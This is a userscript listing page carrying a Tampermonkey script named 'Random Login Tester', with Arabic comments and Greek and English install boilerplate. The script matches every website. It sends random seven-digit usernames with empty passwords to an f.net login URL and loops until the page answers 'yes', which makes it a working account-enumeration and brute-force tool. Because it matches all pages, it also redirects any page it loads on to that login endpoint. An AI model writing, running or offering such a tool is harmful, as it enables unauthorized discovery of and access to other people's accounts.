Random Login Tester

يولد أرقام عشوائية ويختبرها حتى يظهر "yes"

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey, το Greasemonkey ή το Violentmonkey για να εγκαταστήσετε αυτόν τον κώδικα.

You will need to install an extension such as Tampermonkey to install this script.

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey ή το Violentmonkey για να εγκαταστήσετε αυτόν τον κώδικα.

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey ή το Userscripts για να εγκαταστήσετε αυτόν τον κώδικα.

You will need to install an extension such as Tampermonkey to install this script.

Θα χρειαστεί να εγκαταστήσετε μια επέκταση διαχείρισης κώδικα χρήστη για να εγκαταστήσετε αυτόν τον κώδικα.

(Έχω ήδη έναν διαχειριστή κώδικα χρήστη, επιτρέψτε μου να τον εγκαταστήσω!)

Advertisement:

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(Έχω ήδη έναν διαχειριστή στυλ χρήστη, επιτρέψτε μου να τον εγκαταστήσω!)

Advertisement:

// ==UserScript==
// @name         Random Login Tester
// @namespace    https://viayoo.com/wl4o24
// @version      0.1
// @description  يولد أرقام عشوائية ويختبرها حتى يظهر "yes"
// @author       You
// @run-at       document-end
// @match        https://*/*
// @match        http://*/*
// @grant        none
// ==/UserScript==

(function() {
    'use strict';

    // توليد رقم عشوائي بين 2000000 و 2999999
    function generateRandomNumber() {
        return Math.floor(Math.random() * 1000000) + 2000000;
    }

    // التحقق من وجود "yes" أو "no" في الصفحة
    function checkPageAndAct() {
        const bodyText = document.body.innerText;
        const yesRegex = /\byes\b/i;   // كلمة yes كاملة (غير حساسة لحالة الأحرف)
        const noRegex = /\bno\b/i;     // كلمة no كاملة

        if (yesRegex.test(bodyText)) {
            console.log('تم العثور على "yes" - توقف.');
            return 'yes';
        } else if (noRegex.test(bodyText)) {
            console.log('تم العثور على "no" - إعادة المحاولة برقم جديد.');
            return 'no';
        }
        return null; // لم يُعثر على أي منهما
    }

    // عنوان الصفحة الحالي
    const currentUrl = window.location.href;

    // هل نحن في صفحة نتيجة المحاولة؟
    if (currentUrl.includes('f.net/login?username=')) {
        // فحص فوري
        let result = checkPageAndAct();

        if (result === 'yes') {
            return; // توقف
        } else if (result === 'no') {
            // توليد رقم جديد والتوجيه
            const newNumber = generateRandomNumber();
            window.location.href = `http://f.net/login?username=${newNumber}&password=&var=callBack`;
            return;
        }

        // إذا لم نجد لا "yes" ولا "no" (قد يكون المحتوى لم يتحمّل بعد)
        let attempts = 0;
        const maxAttempts = 10; // 10 محاولات (كل 500 مللي)

        const intervalId = setInterval(function() {
            attempts++;
            const res = checkPageAndAct();

            if (res === 'yes') {
                clearInterval(intervalId);
                return;
            } else if (res === 'no') {
                clearInterval(intervalId);
                const newNumber = generateRandomNumber();
                window.location.href = `http://f.net/login?username=${newNumber}&password=&var=callBack`;
                return;
            }

            // انتهت المحاولات دون نتيجة – نعتبر الحالة "no" ونعيد المحاولة
            if (attempts >= maxAttempts) {
                clearInterval(intervalId);
                console.warn('لم يُعثر على "yes" أو "no" بعد المهلة، نفترض "no".');
                const newNumber = generateRandomNumber();
                window.location.href = `http://f.net/login?username=${newNumber}&password=&var=callBack`;
            }
        }, 500);
    } else {
        // الصفحة الأولى (ليست صفحة تسجيل الدخول) – نبدأ العملية
        const firstNumber = generateRandomNumber();
        window.location.href = `http://f.net/login?username=${firstNumber}&password=&var=callBack`;
    }
})();